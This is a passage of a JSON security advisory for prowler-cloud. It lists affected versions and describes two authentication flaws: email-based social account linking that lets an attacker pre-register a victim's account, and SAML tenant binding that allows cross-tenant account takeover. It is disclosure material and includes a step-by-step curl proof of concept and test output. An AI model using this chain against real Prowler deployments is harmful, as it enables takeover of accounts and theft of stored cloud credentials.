"purl": "pkg:pypi/prowler-cloud@4.5.0" } } }, { "category": "product_version_range", "name": "vers:unknown/4.5.1", "product": { "name": "vers:unknown/4.5.1", "product_id": "CSAFPID-9166692", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@4.5.1" } } }, { "category": "product_version_range", "name": "vers:unknown/4.5.2", "product": { "name": "vers:unknown/4.5.2", "product_id": "CSAFPID-9166693", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@4.5.2" } } }, { "category": "product_version_range", "name": "vers:unknown/4.5.3", "product": { "name": "vers:unknown/4.5.3", "product_id": "CSAFPID-9166694", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@4.5.3" } } }, { "category": "product_version_range", "name": "vers:unknown/4.6.0", "product": { "name": "vers:unknown/4.6.0", "product_id": "CSAFPID-9166695", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@4.6.0" } } }, { "category": "product_version_range", "name": "vers:unknown/4.6.1", "product": { "name": "vers:unknown/4.6.1", "product_id": "CSAFPID-9166696", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@4.6.1" } } }, { "category": "product_version_range", "name": "vers:unknown/4.6.2", "product": { "name": "vers:unknown/4.6.2", "product_id": "CSAFPID-9166697", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@4.6.2" } } }, { "category": "product_version_range", "name": "vers:unknown/5.0.0", "product": { "name": "vers:unknown/5.0.0", "product_id": "CSAFPID-9166698", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@5.0.0" } } }, { "category": "product_version_range", "name": "vers:unknown/5.0.1", "product": { "name": "vers:unknown/5.0.1", "product_id": "CSAFPID-9166699", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@5.0.1" } } }, { "category": "product_version_range", "name": "vers:unknown/5.0.2", "product": { "name": "vers:unknown/5.0.2", "product_id": "CSAFPID-9166700", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@5.0.2" } } }, { "category": "product_version_range", "name": "vers:unknown/5.0.3", "product": { "name": "vers:unknown/5.0.3", "product_id": "CSAFPID-9166701", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@5.0.3" } } }, { "category": "product_version_range", "name": "vers:unknown/5.0.4", "product": { "name": "vers:unknown/5.0.4", "product_id": "CSAFPID-9166702", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@5.0.4" } } }, { "category": "product_version_range", "name": "vers:unknown/5.0.5", "product": { "name": "vers:unknown/5.0.5", "product_id": "CSAFPID-9166703", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@5.0.5" } } }, { "category": "product_version_range", "name": "vers:unknown/5.1.0", "product": { "name": "vers:unknown/5.1.0", "product_id": "CSAFPID-9166704", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@5.1.0" } } }, { "category": "product_version_range", "name": "vers:unknown/5.1.1", "product": { "name": "vers:unknown/5.1.1", "product_id": "CSAFPID-9166705", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@5.1.1" } } }, { "category": "product_version_range", "name": "vers:unknown/5.1.2", "product": { "name": "vers:unknown/5.1.2", "product_id": "CSAFPID-9166706", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@5.1.2" } } }, { "category": "product_version_range", "name": "vers:unknown/5.1.3", "product": { "name": "vers:unknown/5.1.3", "product_id": "CSAFPID-9166707", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@5.1.3" } } }, { "category": "product_version_range", "name": "vers:unknown/5.1.4", "product": { "name": "vers:unknown/5.1.4", "product_id": "CSAFPID-9166708", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@5.1.4" } } }, { "category": "product_version_range", "name": "vers:unknown/5.1.5", "product": { "name": "vers:unknown/5.1.5", "product_id": "CSAFPID-9166709", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@5.1.5" } } }, { "category": "product_version_range", "name": "vers:unknown/5.10.0", "product": { "name": "vers:unknown/5.10.0", "product_id": "CSAFPID-9166710", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@5.10.0" } } }, { "category": "product_version_range", "name": "vers:unknown/5.10.1", "product": { "name": "vers:unknown/5.10.1", "product_id": "CSAFPID-9166711", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@5.10.1" } } }, { "category": "product_version_range", "name": "vers:unknown/5.10.2", "product": { "name": "vers:unknown/5.10.2", "product_id": "CSAFPID-9166712", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@5.10.2" } } }, { "category": "product_version_range", "name": "vers:unknown/5.11.0", "product": { "name": "vers:unknown/5.11.0", "product_id": "CSAFPID-9166713", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@5.11.0" } } }, { "category": "product_version_range", "name": "vers:unknown/5.12.0", "product": { "name": "vers:unknown/5.12.0", "product_id": "CSAFPID-9166714", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@5.12.0" } } }, { "category": "product_version_range", "name": "vers:unknown/5.12.1", "product": { "name": "vers:unknown/5.12.1", "product_id": "CSAFPID-9166715", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@5.12.1" } } }, { "category": "product_version_range", "name": "vers:unknown/5.12.2", "product": { "name": "vers:unknown/5.12.2", "product_id": "CSAFPID-9166716", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@5.12.2" } } }, { "category": "product_version_range", "name": "vers:unknown/5.12.3", "product": { "name": "vers:unknown/5.12.3", "product_id": "CSAFPID-9166717", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@5.12.3" } } }, { "category": "product_version_range", "name": "vers:unknown/5.13.0", "product": { "name": "vers:unknown/5.13.0", "product_id": "CSAFPID-9166718", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@5.13.0" } } }, { "category": "product_version_range", "name": "vers:unknown/5.13.1", "product": { "name": "vers:unknown/5.13.1", "product_id": "CSAFPID-9166719", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@5.13.1" } } }, { "category": "product_version_range", "name": "vers:unknown/5.14.0", "product": { "name": "vers:unknown/5.14.0", "product_id": "CSAFPID-9166720", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@5.14.0" } } }, { "category": "product_version_range", "name": "vers:unknown/5.14.1", "product": { "name": "vers:unknown/5.14.1", "product_id": "CSAFPID-9166721", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@5.14.1" } } }, { "category": "product_version_range", "name": "vers:unknown/5.14.2", "product": { "name": "vers:unknown/5.14.2", "product_id": "CSAFPID-9166722", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@5.14.2" } } }, { "category": "product_version_range", "name": "vers:unknown/5.15.0", "product": { "name": "vers:unknown/5.15.0", "product_id": "CSAFPID-9166723", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@5.15.0" } } }, { "category": "product_version_range", "name": "vers:unknown/5.15.1", "product": { "name": "vers:unknown/5.15.1", "product_id": "CSAFPID-9166724", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@5.15.1" } } }, { "category": "product_version_range", "name": "vers:unknown/5.16.0", "product": { "name": "vers:unknown/5.16.0", "product_id": "CSAFPID-9166725", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@5.16.0" } } }, { "category": "product_version_range", "name": "vers:unknown/5.16.1", "product": { "name": "vers:unknown/5.16.1", "product_id": "CSAFPID-9166726", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@5.16.1" } } }, { "category": "product_version_range", "name": "vers:unknown/5.17.0", "product": { "name": "vers:unknown/5.17.0", "product_id": "CSAFPID-9166727", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@5.17.0" } } }, { "category": "product_version_range", "name": "vers:unknown/5.17.1", "product": { "name": "vers:unknown/5.17.1", "product_id": "CSAFPID-9166728", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@5.17.1" } } }, { "category": "product_version_range", "name": "vers:unknown/5.18.0", "product": { "name": "vers:unknown/5.18.0", "product_id": "CSAFPID-9166729", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@5.18.0" } } }, { "category": "product_version_range", "name": "vers:unknown/5.18.1", "product": { "name": "vers:unknown/5.18.1", "product_id": "CSAFPID-9166730", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@5.18.1" } } }, { "category": "product_version_range", "name": "vers:unknown/5.18.2", "product": { "name": "vers:unknown/5.18.2", "product_id": "CSAFPID-9166731", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@5.18.2" } } }, { "category": "product_version_range", "name": "vers:unknown/5.18.3", "product": { "name": "vers:unknown/5.18.3", "product_id": "CSAFPID-9166732", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@5.18.3" } } }, { "category": "product_version_range", "name": "vers:unknown/5.19.0", "product": { "name": "vers:unknown/5.19.0", "product_id": "CSAFPID-9166733", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@5.19.0" } } }, { "category": "product_version_range", "name": "vers:unknown/5.2.0", "product": { "name": "vers:unknown/5.2.0", "product_id": "CSAFPID-9166734", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@5.2.0" } } }, { "category": "product_version_range", "name": "vers:unknown/5.2.1", "product": { "name": "vers:unknown/5.2.1", "product_id": "CSAFPID-9166735", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@5.2.1" } } }, { "category": "product_version_range", "name": "vers:unknown/5.2.2", "product": { "name": "vers:unknown/5.2.2", "product_id": "CSAFPID-9166736", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@5.2.2" } } }, { "category": "product_version_range", "name": "vers:unknown/5.2.3", "product": { "name": "vers:unknown/5.2.3", "product_id": "CSAFPID-9166737", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@5.2.3" } } }, { "category": "product_version_range", "name": "vers:unknown/5.20.0", "product": { "name": "vers:unknown/5.20.0", "product_id": "CSAFPID-9166738", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@5.20.0" } } }, { "category": "product_version_range", "name": "vers:unknown/5.21.0", "product": { "name": "vers:unknown/5.21.0", "product_id": "CSAFPID-9166739", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@5.21.0" } } }, { "category": "product_version_range", "name": "vers:unknown/5.21.1", "product": { "name": "vers:unknown/5.21.1", "product_id": "CSAFPID-9166740", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@5.21.1" } } }, { "category": "product_version_range", "name": "vers:unknown/5.22.0", "product": { "name": "vers:unknown/5.22.0", "product_id": "CSAFPID-9166741", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@5.22.0" } } }, { "category": "product_version_range", "name": "vers:unknown/5.23.0", "product": { "name": "vers:unknown/5.23.0", "product_id": "CSAFPID-9166742", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@5.23.0" } } }, { "category": "product_version_range", "name": "vers:unknown/5.24.0", "product": { "name": "vers:unknown/5.24.0", "product_id": "CSAFPID-9166743", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@5.24.0" } } }, { "category": "product_version_range", "name": "vers:unknown/5.24.1", "product": { "name": "vers:unknown/5.24.1", "product_id": "CSAFPID-9166744", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@5.24.1" } } }, { "category": "product_version_range", "name": "vers:unknown/5.24.2", "product": { "name": "vers:unknown/5.24.2", "product_id": "CSAFPID-9166745", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@5.24.2" } } }, { "category": "product_version_range", "name": "vers:unknown/5.24.3", "product": { "name": "vers:unknown/5.24.3", "product_id": "CSAFPID-9166746", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@5.24.3" } } }, { "category": "product_version_range", "name": "vers:unknown/5.24.4", "product": { "name": "vers:unknown/5.24.4", "product_id": "CSAFPID-9166747", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@5.24.4" } } }, { "category": "product_version_range", "name": "vers:unknown/5.25.0", "product": { "name": "vers:unknown/5.25.0", "product_id": "CSAFPID-9166748", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@5.25.0" } } }, { "category": "product_version_range", "name": "vers:unknown/5.25.1", "product": { "name": "vers:unknown/5.25.1", "product_id": "CSAFPID-9166749", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@5.25.1" } } }, { "category": "product_version_range", "name": "vers:unknown/5.25.2", "product": { "name": "vers:unknown/5.25.2", "product_id": "CSAFPID-9166750", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@5.25.2" } } }, { "category": "product_version_range", "name": "vers:unknown/5.25.3", "product": { "name": "vers:unknown/5.25.3", "product_id": "CSAFPID-9166751", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@5.25.3" } } }, { "category": "product_version_range", "name": "vers:unknown/5.26.0", "product": { "name": "vers:unknown/5.26.0", "product_id": "CSAFPID-9166752", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@5.26.0" } } }, { "category": "product_version_range", "name": "vers:unknown/5.26.1", "product": { "name": "vers:unknown/5.26.1", "product_id": "CSAFPID-9166753", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@5.26.1" } } }, { "category": "product_version_range", "name": "vers:unknown/5.27.0", "product": { "name": "vers:unknown/5.27.0", "product_id": "CSAFPID-9166754", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@5.27.0" } } }, { "category": "product_version_range", "name": "vers:unknown/5.27.1", "product": { "name": "vers:unknown/5.27.1", "product_id": "CSAFPID-9166755", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@5.27.1" } } }, { "category": "product_version_range", "name": "vers:unknown/5.28.0", "product": { "name": "vers:unknown/5.28.0", "product_id": "CSAFPID-9166756", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@5.28.0" } } }, { "category": "product_version_range", "name": "vers:unknown/5.28.1", "product": { "name": "vers:unknown/5.28.1", "product_id": "CSAFPID-9166757", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@5.28.1" } } }, { "category": "product_version_range", "name": "vers:unknown/5.29.0", "product": { "name": "vers:unknown/5.29.0", "product_id": "CSAFPID-9166758", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@5.29.0" } } }, { "category": "product_version_range", "name": "vers:unknown/5.29.1", "product": { "name": "vers:unknown/5.29.1", "product_id": "CSAFPID-9166759", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@5.29.1" } } }, { "category": "product_version_range", "name": "vers:unknown/5.29.2", "product": { "name": "vers:unknown/5.29.2", "product_id": "CSAFPID-9166760", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@5.29.2" } } }, { "category": "product_version_range", "name": "vers:unknown/5.3.0", "product": { "name": "vers:unknown/5.3.0", "product_id": "CSAFPID-9166761", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@5.3.0" } } }, { "category": "product_version_range", "name": "vers:unknown/5.30.0", "product": { "name": "vers:unknown/5.30.0", "product_id": "CSAFPID-9166762", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@5.30.0" } } }, { "category": "product_version_range", "name": "vers:unknown/5.30.1", "product": { "name": "vers:unknown/5.30.1", "product_id": "CSAFPID-9166763", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@5.30.1" } } }, { "category": "product_version_range", "name": "vers:unknown/5.30.2", "product": { "name": "vers:unknown/5.30.2", "product_id": "CSAFPID-9166764", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@5.30.2" } } }, { "category": "product_version_range", "name": "vers:unknown/5.4.0", "product": { "name": "vers:unknown/5.4.0", "product_id": "CSAFPID-9166776", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@5.4.0" } } }, { "category": "product_version_range", "name": "vers:unknown/5.4.1", "product": { "name": "vers:unknown/5.4.1", "product_id": "CSAFPID-9166777", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@5.4.1" } } }, { "category": "product_version_range", "name": "vers:unknown/5.4.2", "product": { "name": "vers:unknown/5.4.2", "product_id": "CSAFPID-9166778", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@5.4.2" } } }, { "category": "product_version_range", "name": "vers:unknown/5.4.3", "product": { "name": "vers:unknown/5.4.3", "product_id": "CSAFPID-9166779", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@5.4.3" } } }, { "category": "product_version_range", "name": "vers:unknown/5.4.4", "product": { "name": "vers:unknown/5.4.4", "product_id": "CSAFPID-9166780", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@5.4.4" } } }, { "category": "product_version_range", "name": "vers:unknown/5.5.1", "product": { "name": "vers:unknown/5.5.1", "product_id": "CSAFPID-9166781", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@5.5.1" } } }, { "category": "product_version_range", "name": "vers:unknown/5.6.0", "product": { "name": "vers:unknown/5.6.0", "product_id": "CSAFPID-9166782", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@5.6.0" } } }, { "category": "product_version_range", "name": "vers:unknown/5.7.0", "product": { "name": "vers:unknown/5.7.0", "product_id": "CSAFPID-9166783", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@5.7.0" } } }, { "category": "product_version_range", "name": "vers:unknown/5.7.1", "product": { "name": "vers:unknown/5.7.1", "product_id": "CSAFPID-9166784", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@5.7.1" } } }, { "category": "product_version_range", "name": "vers:unknown/5.7.2", "product": { "name": "vers:unknown/5.7.2", "product_id": "CSAFPID-9166785", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@5.7.2" } } }, { "category": "product_version_range", "name": "vers:unknown/5.7.3", "product": { "name": "vers:unknown/5.7.3", "product_id": "CSAFPID-9166786", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@5.7.3" } } }, { "category": "product_version_range", "name": "vers:unknown/5.7.4", "product": { "name": "vers:unknown/5.7.4", "product_id": "CSAFPID-9166787", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@5.7.4" } } }, { "category": "product_version_range", "name": "vers:unknown/5.7.5", "product": { "name": "vers:unknown/5.7.5", "product_id": "CSAFPID-9166788", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@5.7.5" } } }, { "category": "product_version_range", "name": "vers:unknown/5.8.0", "product": { "name": "vers:unknown/5.8.0", "product_id": "CSAFPID-9166789", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@5.8.0" } } }, { "category": "product_version_range", "name": "vers:unknown/5.8.1", "product": { "name": "vers:unknown/5.8.1", "product_id": "CSAFPID-9166790", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@5.8.1" } } }, { "category": "product_version_range", "name": "vers:unknown/5.9.0", "product": { "name": "vers:unknown/5.9.0", "product_id": "CSAFPID-9166791", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@5.9.0" } } }, { "category": "product_version_range", "name": "vers:unknown/5.9.1", "product": { "name": "vers:unknown/5.9.1", "product_id": "CSAFPID-9166792", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@5.9.1" } } }, { "category": "product_version_range", "name": "vers:unknown/5.9.2", "product": { "name": "vers:unknown/5.9.2", "product_id": "CSAFPID-9166793", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@5.9.2" } } }, { "category": "product_version_range", "name": "vers:unknown/>=0|<5.30.3", "product": { "name": "vers:unknown/>=0|<5.30.3", "product_id": "CSAFPID-9215294" } } ], "category": "product_name", "name": "prowler-cloud" } ], "category": "vendor", "name": "prowler-cloud" } ] }, "vulnerabilities": [ { "cve": "CVE-2026-100169", "notes": [ { "category": "description", "text": "Improper Authentication in the social account linking path of the Prowler API in Prowler from 5.4.0 before 5.35.0 allows a remote unauthenticated attacker to obtain persistent access to the account of a user who has not yet registered, because ProwlerSocialAccountAdapter.pre_social_login() in api/src/backend/api/adapters.py links a Google or GitHub login to any existing local account that has the same email address as the one returned by the provider, without requiring that the address has been verified by the provider or on the existing account, and without any other check that both accounts belong to the same person. Self registration is open and the new account is usable at once, because UserViewSet.get_permissions() in api/src/backend/api/v1/views.py grants AllowAny to the create action, ACCOUNT_EMAIL_VERIFICATION is set to none in api/src/backend/config/settings/social_login.py, and the Django ModelBackend checks only the password and is_active, not the django-allauth EmailAddress record. An attacker who registers an email address before its owner keeps the password set at registration after the link is made, because sociallogin.connect() does not reset the password and does not disable the existing account, and the owner who later signs in with Google or GitHub is logged into the attacker's account. django-allauth makes the same email based link on its own, because SOCIALACCOUNT_EMAIL_AUTHENTICATION and SOCIALACCOUNT_EMAIL_AUTHENTICATION_AUTO_CONNECT are both set to True in the same settings module. This gives the attacker the cloud provider credentials, scan findings and tenant memberships held in the account.", "title": "cveprojectv5 - https://www.cve.org/CVERecord?id=CVE-2026-100169" }, { "category": "description", "text": "Improper Authentication in the social account linking path of the Prowler API in Prowler from 5.4.0 before 5.35.0 allows a remote unauthenticated attacker to obtain persistent access to the account of a user who has not yet registered, because ProwlerSocialAccountAdapter.pre_social_login() in api/src/backend/api/adapters.py links a Google or GitHub login to any existing local account that has the same email address as the one returned by the provider, without requiring that the address has been verified by the provider or on the existing account, and without any other check that both accounts belong to the same person. Self registration is open and the new account is usable at once, because UserViewSet.get_permissions() in api/src/backend/api/v1/views.py grants AllowAny to the create action, ACCOUNT_EMAIL_VERIFICATION is set to none in api/src/backend/config/settings/social_login.py, and the Django ModelBackend checks only the password and is_active, not the django-allauth EmailAddress record. An attacker who registers an email address before its owner keeps the password set at registration after the link is made, because sociallogin.connect() does not reset the password and does not disable the existing account, and the owner who later signs in with Google or GitHub is logged into the attacker's account. django-allauth makes the same email based link on its own, because SOCIALACCOUNT_EMAIL_AUTHENTICATION and SOCIALACCOUNT_EMAIL_AUTHENTICATION_AUTO_CONNECT are both set to True in the same settings module. This gives the attacker the cloud provider credentials, scan findings and tenant memberships held in the account.", "title": "osvgit - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/GIT%2FCVE-2026-100169.json?alt=media" }, { "category": "description", "text": "Prowler is a cloud security platform. Prior to 5.30.3, Prowler's SAML authentication flow trusted the email domain asserted in a SAMLResponse when deciding which tenant should receive the final token, and the ACS finish logic in api/src/backend/api/v1/views.py recalculated the tenant from user.email instead of binding token issuance to the validated SAML configuration. An authenticated attacker with a controlled SAML IdP could complete a valid SAML flow for an attacker-controlled domain while asserting an email address from another configured domain, causing a SAMLToken and tenant-scoped JWT to be issued for the wrong tenant and enabling cross-tenant account takeover. This issue is fixed in version 5.30.3.", "title": "osvpypi - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/PyPI%2FPYSEC-2026-3725.json?alt=media" }, { "category": "description", "text": "## SAML Tenant Binding Enables Cross-Tenant Account Takeover\n\n### Summary\n\nProwler's SAML authentication flow trusted the email domain asserted in a SAMLResponse when deciding which tenant should receive the final token. A malicious tenant with its own SAML configuration and a self-controlled IdP could complete a valid SAML flow for its own configured domain, while asserting an email address from another configured domain.\n\nIn the vulnerable flow, the ACS finish logic later derived the tenant from the asserted email domain instead of binding token issuance to the tenant associated with the validated SAML configuration. This could cause a token to be issued for the wrong tenant.\n\nThe attacker does not generally need to claim the victim's email domain. If the victim tenant already has SAML configured for that domain, another tenant cannot claim it because `SAMLConfiguration.email_domain` and `SAMLDomainIndex.email_domain` are globally unique.\n\n### Details\nThe confirmed root cause is in the SAML ACS finish and token issuance flow. The flow selected a SAML configuration through the ACS route, but later recalculated the tenant from the asserted user email domain:\n\n```python\nemail_domain = user.email.split(\"@\")[-1]\ntenant = (\n SAMLConfiguration.objects.using(MainRouter.admin_db)\n .get(email_domain=email_domain)\n .tenant\n)\n```\n\nThis is unsafe because `user.email` is derived from the SAML assertion. The tenant used for membership updates and token issuance must come from the SAML configuration validated for the current ACS route, not from the asserted email domain.\n\nThe attack is made possible by several compounding weaknesses:\n\n1. **No domain ownership proof** (`api/src/backend/api/models.py:2100, 2130-2152`): `SAMLConfiguration.email_domain` is validated for format and global uniqueness, but not for domain ownership. Any authenticated tenant admin can claim an unclaimed domain string, but cannot claim a domain already configured by another tenant.\n\n2. **Global SAML domain index** (`api/src/backend/api/models.py:2200-2201`): `SAMLDomainIndex.update_or_create(email_domain=self.email_domain, defaults={'tenant': self.tenant})` maps each configured domain to its tenant. If token issuance later trusts the asserted email domain, it can resolve a tenant different from the one selected by the ACS route.\n\n3. **Hardcoded auto-connect** (`api/src/backend/config/settings/social_login.py:23, 25`): `SOCIALACCOUNT_EMAIL_AUTHENTICATION = True` and `SOCIALACCOUNT_EMAIL_AUTHENTICATION_AUTO_CONNECT = True` are hardcoded and cannot be disabled at runtime.\n\n4. **IdP-initiated SSO enabled** (`api/src/backend/config/settings/social_login.py:78`): `reject_idp_initiated_sso: False` allows the attacker to initiate the flow without requiring any action from the victim.\n\n5. **Token issuance for the wrong tenant** (`api/src/backend/api/v1/views.py:853-873`): after SAML authentication, the vulnerable ACS finish flow could create membership and issue a `SAMLToken` using a tenant derived from the asserted email domain instead of the validated SAML configuration.\n\n6. **Token switch impact** (`api/src/backend/api/v1/serializers.py:272`): the token switch endpoint checks that the authenticated user is a member of the target tenant. If the attacker obtains a JWT for the victim user, they can switch into tenants where that user is already a member.\n\n### PoC\n\n**Environment setup:**\n\n```bash\n# Build the PoC Docker image (build context = repo root)\ndocker build -t vuln001-poc -f vuln-001/Dockerfile .\n\n# Start the stack (PostgreSQL + PoC runner)\ndocker compose -f vuln-001/docker-compose-poc.yml up --no-build --abort-on-container-exit\n```\n\n**Automated test (runs inside the container):**\n\n```bash\npython -m pytest poc_vuln001.py -v -s --no-header --tb=short\n```\n\n**Manual HTTP exploitation chain (against a live Prowler API):**\n\n**Step 1 - Attacker configures SAML for their own email domain:**\n\n```bash\ncurl -i -X POST \"$API/api/v1/saml-config\" \\\n -H \"Authorization: Bearer $ATTACKER_TOKEN\" \\\n -H \"Content-Type: application/vnd.api+json\" \\\n --data '{\n \"data\":{\"type\":\"saml-configurations\",\"attributes\":{\n \"email_domain\":\"attacker.com\",\n \"metadata_xml\":\"...attacker cert and SSO URL...\"\n }}\n }'\n```\n\nThe attacker does not need to claim `victim.com`. If `victim.com` is already configured by the victim tenant, the attacker cannot claim it because SAML domains are globally unique.\n\n**Step 2 - Attacker posts a signed SAMLResponse asserting `user@victim.com`:**\n\n```bash\n# SIGNED_ASSERTION is a base64-encoded SAMLResponse signed with the attacker's private key,\n# valid for the attacker's configured IdP, but asserting NameID = user@victim.com\ncurl -i -L -c c.jar -b c.jar \\\n -X POST \"$API/api/v1/accounts/saml/attacker.com/acs/\" \\\n --data-urlencode \"SAMLResponse=$SIGNED_ASSERTION\"\n```\n\n**Step 3 - Vulnerable ACS finish logic derives the tenant from the asserted email domain:**\n\nIn the vulnerable version, the finish flow used `user.email.split(\"@\")[-1]` to resolve the tenant. If the asserted domain mapped to another tenant's SAML configuration, token issuance could be bound to the wrong tenant.\n\n**Step 4 - Exchange the SAML token for a victim JWT:**\n\n```bash\ncurl -s -X POST \"$API/api/v1/tokens/saml?id=$SAML_TOKEN_ID\"\n# Returns access/refresh JWT if the temporary SAML token is valid and has not expired\n```\n\n**Step 5 - Switch into the victim's real tenant:**\n\n```bash\ncurl -s -X POST \"$API/api/v1/tokens/switch\" \\\n -H \"Authorization: Bearer $VICTIM_JWT\" \\\n -H \"Content-Type: application/vnd.api+json\" \\\n --data '{\n \"data\":{\n \"type\":\"tokens-switch-tenant\",\n \"attributes\":{\n \"tenant_id\":\"\"\n }\n }\n }'\n# Returns a valid token scoped to the victim's tenant\n```\n\n**Observed output from the automated PoC:**\n\nNote: this adapter-focused PoC demonstrates the account-linking behavior, but it does not prove the full token issuance chain by itself. The full exploit depends on the ACS finish flow issuing a token for a tenant derived from the asserted email domain.\n\n```\n[+] Victim user created in DB:\n email = victim@victim.com\n id = b3efcee1-5b26-4af9-bd6d-67bbc05c2ff8\n[+] Simulated SAMLResponse posted to ACS endpoint:\n URL: POST /api/v1/accounts/saml/victim.com/acs/\n NameID: victim@victim.com (attacker-controlled)\n[*] Calling ProwlerSocialAccountAdapter.pre_social_login()\n File: api/src/backend/api/adapters.py:17\n[!] sociallogin.connect() was called!\n connected user email: victim@victim.com\n connected user id: b3efcee1-5b26-4af9-bd6d-67bbc05c2ff8\n victim user id: b3efcee1-5b26-4af9-bd6d-67bbc05c2ff8\n - Victim user id in DB: b3efcee1-5b26-4af9-bd6d-67bbc05c2ff8\n - User passed to connect(): b3efcee1-5b26-4af9-bd6d-67bbc05c2ff8\n - IDs match (victim's account): True\n - Domain ownership check skipped: True (no SAMLConfiguration lookup in adapter)\nPASSED\n======================== 1 passed, 2 warnings in 35.42s ========================\n```\n\n**Recommended remediation** (`api/src/backend/api/v1/views.py`):\n\nBind token issuance to the SAML configuration selected by the ACS route.\n\nThe ACS finish flow should verify that the following values all match:\n\n- the `organization_slug` from the ACS route\n- the `SAMLConfiguration.email_domain`\n- the domain portion of the asserted SAML user email\n\nThen issue the token using the tenant from that validated SAML configuration:\n\n```python\ntenant = saml_config.tenant\n```\n\nThe tenant must not be recalculated from `user.email`.\n\n### Impact\n\nThis is an **Improper Authentication (CWE-287)** vulnerability that enables **cross-tenant account takeover**. An authenticated Prowler user with a controlled SAML IdP could potentially obtain a token for another tenant if the ACS finish flow derived the tenant from the asserted email domain instead of the validated SAML configuration.\n\n**Who is impacted:** users of Prowler instances where SAML is enabled and the target email domain maps to a configured SAML tenant. Because `reject_idp_initiated_sso` is `False`, no victim interaction is required once the attacker controls a valid SAML configuration and IdP for their own tenant.\n\n**Consequences:**\n- Full read/write access to the victim's cloud security audit findings across all configured providers (AWS, GCP, Azure, etc.)\n- 